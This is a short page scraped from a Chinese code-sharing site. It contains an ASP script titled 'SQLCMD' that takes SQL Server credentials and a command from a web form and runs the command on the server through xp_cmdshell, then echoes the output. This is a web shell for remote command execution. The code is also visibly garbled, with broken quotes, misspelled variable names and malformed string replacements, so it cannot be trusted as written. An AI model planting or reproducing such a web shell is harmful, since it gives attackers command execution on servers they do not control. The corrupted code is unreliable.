A ASP SQLCMD

xiaoxiao2021-03-06  40

<% IF TRIM (Request.form ("CMD")) <> "" "" "

<%

Password = trim (Request.form ("PA"))

ID = Trim (Request.form ("ID")))

Set adoconn = server.createObject ("adoDb.connection")

Adoconn.open "provider = sqloledb.1; password =" & password & "; user id =" & id

Strquery = "exec master.dbo.xp_cmdshell '" & requirements ") &"' "

Set recresult = adoconn.execute (strQuery)

IF not recresult.eof then

Do While Not Rerness.eof

Strresult = strresult & chr (13) & recresult (0)

Reresult.movenext

Loop

END IF

Set recresult = Nothing

Strresult = Replace (Strresult, "," ")

Strresult = Replace (Strresult, "<", "<")

Strresult = Replace (Strresult, ">,"> ")

Strresult = Replace (Strresult, CHR (13), "
")

Response.write Strresult

END IF

Set adoconn = Nothing

%>

>>

>

>

转载请注明原文地址:https://www.9cbs.com/read-85996.html

New Post(0)
CopyRight © 2020 All Rights Reserved
Processed: 0.048, SQL: 9